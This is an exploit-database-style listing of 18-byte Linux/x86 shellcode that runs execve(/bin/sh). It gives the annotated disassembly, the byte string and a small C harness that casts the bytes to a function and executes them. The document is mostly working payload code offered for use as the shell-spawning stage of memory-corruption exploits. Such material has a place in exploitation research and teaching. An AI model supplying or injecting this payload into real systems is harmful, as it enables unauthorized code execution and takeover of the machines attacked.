Linux/x86 - execve(/bin/sh) Shellcode (18 bytes)

/*
# Linux/x86 - execve /bin/sh shellcode (18 bytes)
# Author: Anurag Srivastava
# Tested on: i686 GNU/Linux
# Shellcode Length: 18
 
Disassembly of section .text:
 
08048060 <_start>:
 8048060:   6a 0b                   push   0xb
 8048062:   58                      pop    eax
 8048063:   53                      push   ebx
 8048064:   68 2f 2f 73 68          push   0x68732f2f
 8048069:   68 2f 62 69 6e          push   0x6e69622f
 804806e:   89 e3                   mov    ebx,esp
 8048070:   cd 80                   int    0x80
 
===============POC by Anurag Srivastava=========================
*/
 
#include<stdio.h>
#include<string.h>
 
unsigned char code[] = \
 
"\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";
 
main()
{
 
printf("Shellcode Length: %d\n", strlen(code));
 
int (*ret)() = (int(*)())code;
 
ret();
 
}